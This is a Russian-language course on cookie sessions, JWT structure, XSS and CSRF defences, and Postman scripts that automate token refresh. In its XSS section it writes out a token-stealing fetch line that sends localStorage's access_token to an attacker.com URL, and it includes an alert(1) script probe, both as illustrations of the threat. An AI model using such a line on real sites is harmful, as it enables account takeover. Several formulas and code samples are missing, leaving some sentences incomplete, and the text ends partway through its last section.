Основы авторизации: от теории Cookie и JWT к автоматизации в Postman

Курс знакомит с фундаментальными различиями между сессионной и токенной авторизацией, а также методами обеспечения безопасности веб-протоколов. Слушатели научатся переходить от ручного копирования данных к профессиональной автоматизации тестирования API.

1. Природа Cookie и Токенов: фундаментальные различия и архитектурные подходы

Природа Cookie и Токенов: фундаментальные различия и архитектурные подходы

Представьте, что вы заходите в закрытый клуб. У входа есть два варианта проверки: либо швейцар сверяется с огромной книгой списков гостей, где напротив вашей фамилии стоит пометка «впущен», либо вам выдают уникальный браслет с микрочипом, в котором зашифрованы ваши права доступа, время пребывания и уровень VIP-статуса. В первом случае клубу нужно постоянно хранить и обновлять эту книгу, а во втором — достаточно один раз проверить подлинность чипа на вашем запястье. Эта простая аналогия описывает фундаментальный раскол в архитектуре веб-авторизации: выбор между хранением состояния на сервере (Stateful) и передачей состояния внутри самого запроса (Stateless).

Протокол HTTP, на котором строится взаимодействие браузеров и API, по своей природе является «безсостоянийным» (stateless). Для сервера каждый новый запрос от одного и того же пользователя выглядит так, будто он пришел от совершенно незнакомого человека. Чтобы не заставлять пользователя вводить логин и пароль при каждом клике, инженеры разработали два принципиально разных подхода: использование Cookie для идентификации сессии и использование токенов для передачи прав доступа.

Архитектура Stateful: Традиционный подход с Cookie

Исторически первым решением проблемы «памяти» веб-приложений стали Cookie. В этой модели сервер берет на себя всю ответственность за хранение информации о пользователе. Когда вы вводите логин и пароль, сервер проверяет их в базе данных и создает в своей оперативной памяти или специальном хранилище (например, Redis) объект сессии.

Этот объект содержит всё необходимое: ID пользователя, время создания сессии, права доступа. Чтобы связать этот объект с конкретным браузером, сервер отправляет в заголовке ответа специальную метку — Set-Cookie.

> Cookie — это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер сохраняет этот фрагмент и автоматически прикрепляет его к каждому последующему запросу к этому же серверу.

Ключевая особенность здесь заключается в том, что сама «печенька» (Cookie) обычно не содержит никакой полезной информации, кроме случайной строки символов — Session ID. Это своего рода номерок из гардероба. Сам по себе номерок не является пальто, но он позволяет гардеробщику (серверу) найти ваше пальто в огромном хранилище.

Механизм работы на уровне протокола

  • Клиент отправляет POST /login с учетными данными.
  • Сервер создает сессию в базе: session_id: "abc-123", user_id: 42.
  • Сервер отвечает: HTTP/1.1 200 OK, добавляя заголовок Set-Cookie: sid=abc-123; HttpOnly; Secure.
  • При следующем запросе, например GET /profile, браузер автоматически добавляет заголовок Cookie: sid=abc-123.
  • Сервер получает запрос, видит sid, идет в базу сессий, находит там user_id: 42 и понимает, чей это профиль.
  • Эта архитектура называется Stateful (с сохранением состояния), потому что состояние системы напрямую зависит от данных, хранящихся на сервере. Если база сессий «упадет» или очистится, все пользователи мгновенно «разлогинятся», даже если их Cookie в браузерах всё еще валидны.

    Архитектура Stateless: Современный подход с токенами

    С развитием мобильных приложений и микросервисной архитектуры классические Cookie стали сталкиваться с трудностями. Мобильные приложения не всегда работают с Cookie так же естественно, как браузеры. Более того, если у вас сто серверов, работающих параллельно, им всем нужно иметь доступ к единой базе сессий, что создает «узкое горлышко» в производительности.

    На смену (или в дополнение) пришел подход Stateless (без сохранения состояния), реализуемый через токены. В этой модели сервер не хранит информацию о том, кто вошел в систему. Вместо этого он выдает пользователю «паспорт» — токен, в котором уже написано, кто этот человек и что ему разрешено.

    Самый популярный стандарт здесь — JWT (JSON Web Token). Когда сервер выдает такой токен, он подписывает его секретным ключом. Теперь серверу не нужно лежать в базе данных при каждом запросе. Ему достаточно проверить математическую подпись токена. Если подпись верна — значит, данные внутри токена подлинные.

    Сравнение логики обработки запроса

    В таблице ниже приведено сравнение того, как сервер обрабатывает входящий запрос в обеих моделях:

    | Характеристика | Cookie (Stateful) | Токены / JWT (Stateless) | | :--- | :--- | :--- | | Где хранятся данные? | В памяти или БД сервера. | Внутри самого токена у клиента. | | Что передается? | Идентификатор (Session ID). | Полезная нагрузка (Payload) + Подпись. | | Масштабируемость | Сложная: нужна общая БД сессий для всех узлов. | Легкая: любой сервер с ключом может проверить токен. | | Автоматизация | Браузер делает всё сам. | Клиент (JS или Postman) должен добавлять заголовок вручную. | | Отзыв доступа | Легко: просто удалить сессию из БД. | Сложно: токен валиден, пока не истечет время (TTL). |

    Почему мы копируем токены вручную?

    Многие начинающие тестировщики и разработчики сталкиваются с ситуацией, когда при работе с API в Postman им приходится постоянно открывать Chrome DevTools, переходить на вкладку Network, искать запрос, копировать значение из заголовка Authorization: Bearer <token> и вставлять его в настройки Postman.

    Это происходит потому, что токены, в отличие от Cookie, не управляются браузером автоматически. Если Cookie — это «магия» на уровне протокола (браузер видит заголовок Set-Cookie и послушно сохраняет его), то токен — это данные, которыми управляет программный код (JavaScript на фронтенде).

    Когда вы работаете в Postman, вы выступаете в роли этого программного кода. Вы должны явно указать: «Возьми этот набор символов и положи его в заголовок запроса». Без автоматизации этот процесс превращается в рутину, так как токены имеют свойство «протухать» (истекать по времени) ради безопасности.

    Проблема «протухания» и жизненный цикл доступа

    Безопасность в вебе строится на компромиссе между удобством и риском. Если мы выдадим токен, который действует вечно, и его украдут, злоумышленник получит вечный доступ к аккаунту. Поэтому время жизни токенов ограничивают.

    В мире токенов обычно используют две сущности:

  • Access Token — короткоживущий (от 5 минут до часа). С ним ходят за данными.
  • Refresh Token — долгоживущий (дни или недели). Он нужен только для того, чтобы получить новый Access Token, когда старый истечет.
  • В случае с Cookie ситуация иная. Там время жизни регулируется параметром Expires или Max-Age. Существуют также «сессионные Cookie», которые удаляются сразу после закрытия вкладки браузера. Однако на стороне сервера мы можем инвалидировать сессию в любой момент, просто удалив запись из базы. С токенами так не получится: если вы выдали JWT на 15 минут, он будет «открывать двери» все 15 минут, даже если вы заблокируете пользователя в базе (если только не внедрять дополнительные проверки, которые превращают Stateless обратно в Stateful).

    Архитектурные ограничения и выбор метода

    Выбор между Cookie и токенами часто продиктован не «вкусом» разработчика, а архитектурой системы.

    Cookie идеальны для:

  • Классических монолитных веб-сайтов, которые открываются в браузере.
  • Проектов, где важна максимальная простота реализации аутентификации на стороне клиента.
  • Систем с повышенными требованиями к мгновенному отзыву прав доступа.
  • Токены (JWT) незаменимы для:

  • Микросервисов, где запрос может проходить через цепочку из 10 независимых серверов.
  • Мобильных приложений (iOS/Android), где механизмы работы с Cookie ограничены или неудобны.
  • Cross-domain запросов, когда фронтенд лежит на одном домене (myapp.com), а API — на другом (api.myapp.com). Cookie по умолчанию имеют строгие ограничения на передачу между разными доменами (политика Same-Origin).
  • Математическая основа безопасности токенов

    Для понимания того, почему мы можем доверять токену, не заглядывая в базу данных, нужно коснуться концепции цифровой подписи. Представим упрощенную формулу проверки токена.

    Пусть — это данные пользователя (например, ID), а — секретный ключ, известный только серверу. Сервер создает подпись с помощью хеш-функции :

    Когда клиент присылает токен обратно, сервер берет данные из токена, добавляет свой секрет и снова вычисляет хеш. Если полученный результат совпадает с присланным , значит, данные не менялись. Если злоумышленник изменит (например, поменяет user_id=42 на user_id=1), то:

    Поскольку злоумышленник не знает секрета , он не может вычислить правильный для новых данных. Это позволяет серверу быть уверенным в подлинности запроса без обращения к хранилищу сессий.

    Переход к автоматизации

    Понимание этих различий — первый шаг к профессиональному тестированию. Когда вы понимаете, что Cookie управляются заголовком Set-Cookie, вы начинаете искать в Postman вкладку "Cookies" и Cookie Manager. Когда вы понимаете, что токен — это просто строка в JSON-ответе после авторизации, вы начинаете думать о том, как написать скрипт, который вытащит эту строку из ответа и положит её в переменную окружения.

    Автоматизация в Postman избавляет от необходимости быть «ручным переносчиком данных». Вместо цепочки действий «Войти -> Открыть консоль -> Скопировать -> Вставить», вы настраиваете процесс так, чтобы первый запрос (Login) сам обновлял необходимые переменные для всех последующих запросов.

    Взаимодействие между клиентом и сервером становится прозрачным. Мы перестаем воспринимать авторизацию как магический процесс и начинаем видеть в ней четкий алгоритм обмена заголовками и данными. Будь то Session ID в Cookie или Bearer Token в заголовке Authorization — в обоих случаях целью является доказательство серверу, что «я — это действительно я, и у меня есть право на это действие».

    2. Механизмы работы серверных сессий и структуры JSON Web Token (JWT)

    Механизмы работы серверных сессий и структуры JSON Web Token (JWT)

    Представьте, что вы заходите в закрытый клуб. В первом случае швейцар записывает ваше имя в массивную амбарную книгу, выдает вам жетон с номером строки и каждый раз, когда вы заказываете напиток, идет сверяться с этой книгой. Во втором случае вам выдают высокотехнологичную карту, на которой лазером выжжены ваши права доступа и срок их действия, а швейцар лишь проверяет подлинность печати на карте, даже не заглядывая в свои записи. Эти две метафоры описывают фундаментальный раскол в мире веб-авторизации: классические серверные сессии против современных самодостаточных токенов.

    Понимание того, что именно происходит «под капотом» этих механизмов, отделяет тестировщика, который просто копирует строчки из DevTools, от инженера, способного спроектировать надежную систему автоматизации.

    Анатомия серверной сессии: жизнь внутри «амбарной книги»

    Когда мы говорим о сессиях (Session-based authentication), мы подразумеваем тесную связь между клиентом и сервером. Несмотря на то что протокол HTTP является stateless (не хранит состояние), сервер имитирует «память» за счет создания временного хранилища данных.

    Процесс начинается в момент успешной аутентификации. Как только пользователь вводит верные логин и пароль, сервер создает в своей оперативной памяти (или в базе данных типа Redis) объект сессии. Этот объект может содержать ID пользователя, время последнего входа, настройки интерфейса и уровень прав. Чтобы клиент мог сослаться на эту запись, сервер генерирует уникальный, криптографически стойкий идентификатор — Session ID.

    Этот идентификатор отправляется клиенту в заголовке Set-Cookie. Браузер, получив этот заголовок, сохраняет значение и при каждом последующем запросе к этому домену автоматически прикрепляет его в заголовке Cookie.

    Механика хранения на стороне сервера

    Важнейший нюанс серверных сессий — вопрос масштабируемости. Если ваше приложение запущено на одном сервере, проблем нет. Но как только нагрузка растет и вы добавляете второй сервер, возникает дилемма: клиент авторизовался на сервере А, а его следующий запрос попал на сервер Б. Сервер Б ничего не знает о сессии пользователя, так как «амбарная книга» осталась на первом сервере.

    Для решения этой проблемы инженеры используют три подхода:

  • Sticky Sessions (Липкие сессии): Балансировщик нагрузки «привязывает» пользователя к конкретному серверу по его IP или Cookie. Это хрупкое решение: если сервер упадет, все его сессии сгорят.
  • Централизованное хранилище: Все серверы обращаются к общей быстрой базе данных (например, Redis или Memcached). Это стандарт индустрии для сессионного подхода.
  • Репликация сессий: Серверы постоянно обмениваются данными о новых сессиях. Это создает огромный сетевой оверхед и редко используется в крупных системах.
  • > «Сессия — это обязательство сервера помнить клиента. Это делает сервер тяжелым, но позволяет мгновенно аннулировать доступ, просто удалив запись из базы».

    Структура JSON Web Token: три кита безопасности

    Если сессия — это запись в книге сервера, то JWT — это паспорт в кармане пользователя. Сервер не хранит информацию о вас; он доверяет тому, что написано в токене, потому что сам его подписал.

    JWT состоит из трех частей, разделенных точками: header.payload.signature. Каждая часть кодируется алгоритмом Base64Url, что позволяет передавать токен в URL, заголовках или теле POST-запроса без искажений.

    1. Header (Заголовок)

    Это метаданные токена. Обычно здесь указан тип токена (typ: "JWT") и алгоритм хеширования, который использовался для создания подписи, например, HS256 (HMAC с использованием SHA-256) или RS256 (RSA с использованием SHA-256).

    Пример декодированного заголовка:

    2. Payload (Полезная нагрузка)

    Здесь содержатся утверждения (claims). Это данные о пользователе и дополнительные свойства. Существует три типа утверждений: * Registered claims: Зарезервированные имена, которые рекомендуются, но не обязательны. Например, iss (issuer — кто выдал), exp (expiration time — когда истечет), sub (subject — ID пользователя). * Public claims: Имена, которые можно определять самостоятельно, но во избежание конфликтов их стоит регистрировать в реестре IANA или использовать уникальные URI. * Private claims: Специфические данные, о которых договорились клиент и сервер (например, role: "admin").

    Пример payload:

    Важно помнить: данные в Payload не зашифрованы, а просто закодированы. Любой, кто перехватит токен, сможет прочитать имя пользователя или его роль. Поэтому в JWT категорически запрещено класть пароли или секретные ключи.

    3. Signature (Подпись)

    Это то, что делает JWT надежным. Чтобы создать подпись, берется закодированный заголовок, закодированный payload, секретный ключ и алгоритм, указанный в заголовке.

    Математически это выглядит так:

    Если злоумышленник изменит хотя бы один бит в Payload (например, поменяет admin: false на admin: true), подпись перестанет соответствовать содержимому, так как у злоумышленника нет секретного ключа сервера для генерации новой валидной подписи. Сервер при получении такого токена просто его отвергнет.

    Сравнение механизмов: когда и что выбирать

    Выбор между серверными сессиями и JWT — это не вопрос «что новее», а вопрос архитектурных компромиссов.

    Управление состоянием и отзыв доступа

    Главный недостаток JWT — сложность немедленного отзыва. Если вы украли у пользователя JWT, который действует 1 час, вы сможете пользоваться им целый час. Сервер не проверяет базу данных при каждом запросе, он лишь проверяет математическую подпись. Чтобы «забанить» такой токен, нужно либо ждать его истечения, либо внедрять сложные механизмы «черных списков» (Blacklists), что фактически возвращает нас к необходимости хранить состояние на сервере и убивает преимущество stateless-подхода.

    В случае с сессиями серверу достаточно удалить Session ID из базы, и следующий запрос пользователя тут же станет неавторизованным.

    Объем передаваемых данных

    Cookie с Session ID весит ничтожно мало — обычно это строка из 32–64 символов. JWT может быть весьма увесистым, особенно если в Payload зашито много прав доступа, метаданных и кастомных полей. Поскольку этот токен передается в каждом запросе, это может создавать ощутимую нагрузку на сетевой трафик при высокой частоте обращений.

    Безопасность и атаки

    * Cookie уязвимы для атак типа CSRF (Cross-Site Request Forgery), когда вредоносный сайт заставляет браузер отправить запрос на ваш сервер, используя ваши же куки. Защита требует внедрения специальных CSRF-токенов. * JWT, если они хранятся в localStorage браузера, уязвимы для XSS-атак (Cross-Site Scripting). Если злоумышленник сможет запустить свой скрипт на вашей странице, он легко прочитает токен и украдет его.

    | Характеристика | Серверные сессии (Cookie) | JWT (Tokens) | | :--- | :--- | :--- | | Хранение данных | На сервере (DB/RAM) | На клиенте (внутри токена) | | Масштабируемость | Сложная (нужно общее хранилище) | Легкая (серверы независимы) | | Аннулирование | Мгновенно | Затруднительно до истечения exp | | Размер запроса | Минимальный | Средний/Большой | | Тип приложений | Традиционные Web-сайты | SPA, Мобильные приложения, Микросервисы |

    Жизненный цикл JWT: Access и Refresh токены

    Чтобы минимизировать риски, связанные с невозможностью отозвать JWT, инженеры используют связку из двух токенов.

  • Access Token: Имеет короткий срок жизни (от 5 до 15 минут). Используется для доступа к ресурсам. Если его украдут, он быстро станет невалидным.
  • Refresh Token: Имеет долгий срок жизни (дни или недели). Хранится в максимально защищенном месте (например, в Cookie с флагом HttpOnly). Используется только для одной цели — получить новую пару токенов, когда Access Token истечет.
  • Процесс выглядит так:

  • Клиент отправляет запрос с Access Token.
  • Сервер отвечает: «Токен протух» (401 Unauthorized).
  • Клиент отправляет Refresh Token на специальный эндпоинт /refresh.
  • Сервер проверяет Refresh Token в базе (здесь мы можем проверить, не забанен ли пользователь) и выдает новый Access Token.
  • Этот гибридный подход сочетает в себе масштабируемость JWT и возможность контролировать сессию пользователя через Refresh-токены.

    Практический взгляд: почему мы копируем токены в Postman?

    Когда вы тестируете API, защищенное JWT, вы сталкиваетесь с тем, что через 15 минут ваши запросы в Postman начинают возвращать ошибку 401. Это происходит потому, что время жизни (exp) токена, который вы скопировали из консоли разработчика, истекло.

    В классических сессиях Postman может вести себя как браузер: он умеет подхватывать Set-Cookie и автоматически подставлять их в следующие запросы. С JWT ситуация иная. Сервер не говорит клиенту «сохрани это в секретное место», он просто отдает JSON в теле ответа. Ответственность за сохранение и подстановку токена лежит на фронтенд-разработчике (в коде приложения) или на вас (в Postman).

    Ручное копирование — это попытка имитировать работу фронтенд-скрипта. Однако, понимая структуру JWT, мы можем автоматизировать этот процесс. Мы можем написать скрипт, который после запроса на логин сам «распакует» JSON, заберет оттуда access_token и положит его в переменную окружения Postman.

    Пример логики автоматизации

    Представьте эндпоинт POST /auth/login. В ответ он присылает:

    Ваша задача в Postman — не просто увидеть этот токен, а заставить инструмент запомнить его. Вкладка Tests в Postman позволяет исполнять JavaScript-код сразу после получения ответа. Именно там происходит «магия» перехода от ручного труда к профессиональному тестированию. Мы извлекаем значение и сохраняем его в переменную, которую затем используем в заголовке Authorization: Bearer {{my_token}} для всех остальных запросов коллекции.

    Таким образом, понимание структуры токена и механизмов его обновления позволяет построить систему тестирования, которая не ломается каждые 15 минут и не требует от вас постоянного переключения между браузером и инструментом тестирования.

    3. Безопасность авторизации: защита данных от перехвата и атак типа XSS и CSRF

    Безопасность авторизации: защита данных от перехвата и атак типа XSS и CSRF

    Представьте, что вы построили неприступную крепость с кодовым замком на главных воротах. Вы выдали каждому доверенному лицу уникальный ключ-карту (JWT) или пропуск (Cookie). Однако, если злоумышленник может незаметно вытащить карту из кармана гостя или заставить гостя нажать на кнопку открытия ворот, сама сложность замка теряет смысл. В мире веб-разработки авторизация — это не только проверка личности, но и непрерывная борьба за то, чтобы учетные данные не были украдены или использованы без ведома владельца.

    Когда мы переходим от ручного копирования токенов в Postman к пониманию того, как эти данные живут в браузере, мы сталкиваемся с двумя фундаментальными угрозами: кражей данных через внедрение кода и подделкой действий пользователя.

    Анатомия XSS: когда ваш сайт говорит не вашим голосом

    Межсайтовый скриптинг (Cross-Site Scripting, XSS) — это уязвимость, позволяющая злоумышленнику внедрить вредоносный JavaScript-код в страницу, которую просматривает пользователь. Проблема XSS заключается в доверии: браузер считает, что любой скрипт, загруженный с вашего домена, является легитимным.

    Существует три основных вида XSS, каждый из которых представляет угрозу для механизмов авторизации:

  • Хранимый (Stored) XSS: вредоносный код сохраняется на сервере (например, в комментарии или профиле пользователя) и отображается всем, кто открывает эту страницу.
  • Отраженный (Reflected) XSS: код передается в параметрах запроса (например, в поисковой строке ?search=<script>...) и «отражается» сервером обратно на страницу.
  • DOM-based XSS: уязвимость существует исключительно в клиентском коде, когда скрипт неправильно обрабатывает данные из URL или другого источника без участия сервера.
  • Уязвимость JWT перед XSS

    Основная проблема JWT в контексте XSS заключается в месте его хранения. Большинство разработчиков по привычке сохраняют токены в localStorage или sessionStorage. Это удобно: скрипты на странице имеют к ним прямой доступ через объект window. Однако именно эта доступность делает их легкой добычей.

    Если на сайте есть XSS-уязвимость, злоумышленнику достаточно одной строки кода, чтобы отправить ваш токен на свой сервер: fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token')).

    Поскольку JWT является самодостаточным (Stateless) и часто содержит в себе права доступа (claims), злоумышленник, получив такой токен, может беспрепятственно выполнять запросы к API от вашего имени до тех пор, пока не истечет время жизни токена (TTL). В отличие от сессионных Cookie, сервер не может просто «удалить» JWT из своей базы, так как он его там не хранит.

    Защита Cookie через флаг HttpOnly

    Cookie имеют встроенный механизм защиты, который недоступен для localStorage. Это атрибут HttpOnly. Когда сервер устанавливает Cookie с этим флагом, браузер запрещает доступ к ним через JavaScript.

    Даже если злоумышленник найдет XSS-уязвимость на странице, вызов document.cookie не вернет значение сессионного идентификатора. Это делает Cookie более безопасным хранилищем для чувствительных данных авторизации по сравнению с localStorage. Однако использование Cookie открывает дверь для другого типа атак.

    CSRF: магия невидимых действий

    Межсайтовая подделка запроса (Cross-Site Request Forgery, CSRF) эксплуатирует фундаментальную особенность работы браузеров с Cookie: они автоматически прикрепляются к каждому запросу на тот домен, которому они принадлежат.

    Представьте ситуацию: вы авторизованы в своем онлайн-банке bank.com, который использует Cookie для идентификации сессии. Вы случайно переходите на вредоносный сайт evil-cat-videos.com. На этом сайте скрыто размещена форма или скрипт, который отправляет POST-запрос на bank.com/transfer с параметрами перевода денег на счет хакера.

    Браузер видит запрос к bank.com и услужливо добавляет к нему ваши Cookie. Сервер банка получает запрос, видит валидную сессию и исполняет транзакцию. Вы даже не узнаете, что произошло, пока не проверите баланс.

    Почему JWT (в заголовках) устойчив к CSRF

    Если вы храните JWT в localStorage и передаете его в заголовке Authorization: Bearer <token>, атака CSRF становится невозможной. Браузер никогда не добавляет заголовки из localStorage автоматически. Чтобы отправить такой запрос, злоумышленнику нужен JavaScript-код, который сначала прочитает токен. А прочитать его он может только через XSS. Таким образом, JWT защищен от CSRF «по умолчанию», но крайне уязвим для XSS.

    Современная защита Cookie: атрибут SameSite

    Для борьбы с CSRF в механизме Cookie был введен атрибут SameSite. Он определяет, должны ли Cookie отправляться при запросах, инициированных со сторонних сайтов.

  • SameSite=Strict: Cookie отправляются только в том случае, если запрос инициирован с того же сайта, на котором они были установлены. Это самая жесткая и безопасная политика.
  • SameSite=Lax: (установка по умолчанию во многих современных браузерах). Cookie не отправляются при кросс-доменных POST-запросах (как в примере с банком), но отправляются при обычных переходах по ссылкам (GET-запросы).
  • SameSite=None: Cookie отправляются всегда, но только если установлен флаг Secure (работа через HTTPS).
  • Эшелонированная оборона: Secure и Content Security Policy

    Безопасность авторизации не должна ограничиваться только выбором между Cookie и JWT. Необходимо использовать дополнительные уровни защиты.

    Флаг Secure и HSTS

    Любые данные авторизации должны передаваться только по зашифрованному каналу. Флаг Secure в Cookie гарантирует, что браузер не отправит их по незащищенному протоколу HTTP. Однако этого недостаточно, так как пользователь может вручную ввести http:// в адресной строке.

    Для решения этой проблемы используется механизм HSTS (HTTP Strict Transport Security). Сервер отправляет заголовок: Strict-Transport-Security: max-age=31536000; includeSubDomains Это заставляет браузер автоматически преобразовывать все HTTP-запросы в HTTPS еще до их отправки в сеть.

    Content Security Policy (CSP)

    CSP — это мощный инструмент для предотвращения XSS. Это заголовок ответа сервера, который сообщает браузеру, из каких источников разрешено загружать скрипты, стили и изображения.

    Пример строгой политики: Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';

    Такая политика запрещает выполнение любых встроенных (inline) скриптов и загрузку кода с неизвестных доменов. Даже если хакер найдет способ внедрить <script>alert(1)</script>, браузер откажется его исполнять, защищая тем самым ваши токены в localStorage.

    Сравнение рисков: Таблица безопасности

    Для наглядности сравним, как разные методы хранения и типы данных реагируют на основные угрозы.

    | Угроза | Cookie (без флагов) | Cookie (HttpOnly + SameSite) | JWT (localStorage) | | :--- | :--- | :--- | :--- | | XSS (кража данных) | Высокая (через document.cookie) | Низкая (JS не видит Cookie) | Высокая (прямой доступ) | | CSRF (подделка действий) | Высокая (авто-отправка) | Низкая (блокировка SameSite) | Низкая (заголовок не авто-отправляется) | | Перехват (Man-in-the-middle) | Высокая | Низкая (при наличии Secure) | Низкая (при использовании HTTPS) | | Сложность реализации | Низкая | Средняя | Средняя |

    Практический аспект: авторизация в Postman и безопасность

    Когда вы работаете в Postman, вы выступаете в роли «доверенного клиента». Postman не исполняет JavaScript внутри HTML-ответов так, как это делает браузер, поэтому риск XSS при тестировании минимален. Однако при автоматизации (которую мы разберем в следующей статье) важно понимать, откуда вы берете данные.

    Если ваше приложение использует Cookie с флагом HttpOnly, вы не сможете увидеть их через console.log в браузере. В Postman же вы увидите их во вкладке Cookies или в заголовках ответа Set-Cookie. Это ключевое различие: инструменты тестирования API позволяют обходить ограничения безопасности браузера, предназначенные для защиты обычных пользователей, чтобы вы могли проверить работу сервера.

    Риски утечки через логи и переменные

    Частая ошибка при работе с Postman — сохранение токенов в глобальных переменных, которые затем синхронизируются с облаком Postman (если вы используете аккаунт). Если в токене содержатся персональные данные (PII) или он имеет длительный срок жизни, это создает риск утечки.

    Безопасный подход в Postman:

  • Использовать Environment Variables (переменные окружения) вместо Global.
  • Не сохранять значения токенов в поле Initial Value (которое уходит на сервер Postman), а использовать только Current Value (которое хранится локально).
  • Всегда использовать HTTPS для запросов к API, даже на этапе разработки (используя самоподписанные сертификаты, если нужно).
  • Финальное замыкание: гибридный подход

    Мир безопасности не стоит на месте, и сегодня лучшей практикой считается использование преимуществ обоих методов. Часто применяется схема, где JWT выдается сервером, но упаковывается в HttpOnly Cookie. Это позволяет сохранить Stateless-природу JWT (серверу не нужно хранить сессию в БД) и одновременно защитить токен от кражи через XSS с помощью браузерных механизмов защиты Cookie. При этом для защиты от CSRF используются специальные анти-CSRF токены или строгие политики SameSite.

    Понимание этих угроз превращает процесс «копирования токена» из механического действия в осознанный этап разработки защищенных систем. Теперь, зная, как злоумышленники могут использовать ваши данные, мы готовы перейти к тому, как автоматизировать работу с этими механизмами в Postman, не жертвуя безопасностью.

    4. Автоматизация получения и обновления токенов с помощью скриптов в Postman

    Автоматизация получения и обновления токенов с помощью скриптов в Postman

    Представьте, что вы тестируете API крупного маркетплейса. У вас в коллекции триста запросов: создание заказа, проверка профиля, добавление товара в корзину. Каждые 15 минут ваш Access Token «протухает», и вы послушно идете в DevTools браузера или выполняете отдельный запрос авторизации, копируете новую строку и вручную обновляете переменную окружения. За восьмичасовой рабочий день вы делаете это 32 раза. Если на одно переключение уходит 30 секунд, вы тратите 16 минут чистого времени на бессмысленную механическую работу. В масштабе недели это почти полтора часа, украденных у проектирования тестов. Автоматизация в Postman — это не просто «удобная фича», это способ превратить инструмент из продвинутого блокнота в полноценный инженерный комплекс.

    Скриптовая модель Postman: Sandbox и фазы выполнения запроса

    Чтобы заставить Postman самостоятельно извлекать токены и подставлять их в заголовки, нужно понимать, как устроена среда выполнения скриптов. Postman использует Node.js-подобное окружение (Sandbox), которое позволяет исполнять JavaScript-код до и после отправки HTTP-запроса.

    Весь жизненный цикл запроса делится на две ключевые фазы, где мы можем программно влиять на данные:

  • Pre-request Script: Выполняется до того, как запрос улетит на сервер. Здесь мы подготавливаем данные: генерируем динамические параметры, вычисляем хеши или проверяем, не истек ли старый токен.
  • Tests (Post-response Script): Выполняется после получения ответа. Несмотря на название, эта вкладка служит не только для верификации статус-кодов. Это основное место для парсинга тела ответа (JSON/XML) и сохранения данных в переменные.
  • Для автоматизации авторизации нам критически важна вторая фаза. Когда мы отправляем запрос на эндпоинт /login, сервер возвращает нам JWT. Наша задача — перехватить его в секции Tests и «припарковать» в переменную окружения, чтобы все последующие запросы подхватили его автоматически через синтаксис {{access_token}}.

    Глобальные объекты и управление переменными

    Внутри скриптов мы взаимодействуем с API Postman через глобальный объект pm. Это точка входа ко всем инструментам среды. Для работы с токенами чаще всего используются следующие методы:

    * pm.environment.set("key", "value"): Записывает данные в текущее активное окружение (Environment). Это самый правильный способ хранения токенов, так как окружения позволяют разделять доступы для dev, staging и production серверов. * pm.collectionVariables.set("key", "value"): Сохраняет данные внутри коллекции. Удобно, если вы работаете в рамках одного проекта и не хотите плодить сущности в Environment. * pm.response.json(): Превращает сырое тело ответа в JavaScript-объект, с которым можно работать через точечную нотацию.

    Важно различать области видимости. Если вы сохраните токен через pm.globals.set, он будет доступен во всех коллекциях вашего рабочего пространства. Это небезопасно и может привести к конфликтам, если вы тестируете разные микросервисы с похожими именами переменных. Рекомендуемый стандарт — использование переменных окружения.

    Реализация автоматического извлечения Access Token

    Рассмотрим классический сценарий. У вас есть запрос POST /auth/login, который в теле ответа возвращает структуру:

    Чтобы автоматизировать передачу этого токена, во вкладке Tests этого запроса необходимо написать следующий скрипт:

    Теперь во всех остальных запросах коллекции в заголовке Authorization вы указываете значение Bearer {{current_access_token}}. Как только вы один раз выполните вход, значение переменной обновится, и все 300 запросов станут «валидными» мгновенно.

    Автоматизация обновления через Refresh Token

    Механизм с одним коротким Access Token — это только верхушка айсберга. В реальных системах используется пара токенов. Access Token живет недолго (например, 5 минут), а Refresh Token — долго (неделю). Когда Access Token истекает, клиент должен отправить запрос на /auth/refresh, чтобы получить новую пару.

    Ручная обработка этого процесса в Postman превращается в кошмар: запрос падает с ошибкой 401, вы идете обновлять токен, возвращаетесь... Мы можем автоматизировать это двумя способами: реактивным и проактивным.

    Реактивный подход: обработка 401 ошибки

    Мы можем добавить скрипт на уровне всей коллекции (вкладка Tests самой коллекции, а не отдельного запроса). Этот скрипт будет проверять каждый ответ:

    Однако у Postman есть ограничение: скрипт в Tests не может «поставить запрос на паузу», отправить другой запрос и дождаться его выполнения, чтобы повторить исходный. Для полноценного «бесшовного» обновления чаще используется проактивный метод или использование pm.sendRequest.

    Проактивный подход: проверка времени жизни в Pre-request Script

    Этот метод более элегантен. Мы сохраняем в переменные не только сам токен, но и время его получения (timestamp). В Pre-request Script на уровне коллекции мы пишем логику:

  • Берем текущее время.
  • Сравниваем его со временем последнего обновления токена.
  • Если разница больше, чем TTL (Time To Live) токена, мы отправляем фоновый запрос на обновление прямо из скрипта.
  • Функция pm.sendRequest позволяет выполнять HTTP-вызовы внутри скрипта. Это выглядит так:

    Этот скрипт, размещенный в настройках коллекции, будет запускаться перед каждым запросом. Он гарантирует, что основной запрос никогда не уйдет с просроченным токеном.

    Нюансы безопасности при автоматизации

    Когда мы начинаем сохранять токены в переменные Postman, возникает риск утечки чувствительных данных. В Postman есть два типа значений для переменных: Initial Value и Current Value.

    * Initial Value: Синхронизируется с облаком Postman. Если вы работаете в публичной команде или в открытом Workspace, это значение увидят все. Никогда не сохраняйте сюда реальные токены. * Current Value: Хранится только локально на вашем компьютере и не улетает на серверы Postman при синхронизации.

    При программной установке через pm.environment.set() значение записывается в оба поля, если не настроено иначе. Для повышения безопасности при работе с секретами в скриптах рекомендуется использовать методы очистки переменных после завершения сессии тестирования или использовать специальные Vault-решения, интегрированные в Postman.

    Динамическая подстановка данных (Dynamic Variables)

    Иногда для авторизации нужно генерировать уникальные данные для каждого запроса (например, nonce или временные метки в OAuth 1.0). Postman предоставляет встроенные динамические переменные, которые можно использовать прямо в скриптах или в полях запроса:

    * {{timestamp}}: Текущее время в формате UNIX. * {{guid}}"}. Это избавляет от необходимости писать лишний код в Pre-request фазе.

    Обработка сложных сценариев: цепочки запросов

    Автоматизация авторизации — это частный случай «цепочки запросов» (Request Chaining). Часто токен — это не просто строка, а результат выполнения последовательности действий. Например:

  • Получить временный код через OAuth2.
  • Обменять код на токен.
  • Получить дополнительные права (scope) для этого токена.
  • В Postman это реализуется через коллекцию, где каждый запрос в секции Tests передает эстафету следующему через переменные. Однако, чтобы автоматизация работала при запуске всей коллекции через Collection Runner или Newman (консольный запуск), важно следить за порядком выполнения.

    Если один из запросов в цепочке падает, последующие запросы будут использовать старые или пустые данные. Хорошим тоном считается добавление проверок в скрипты:

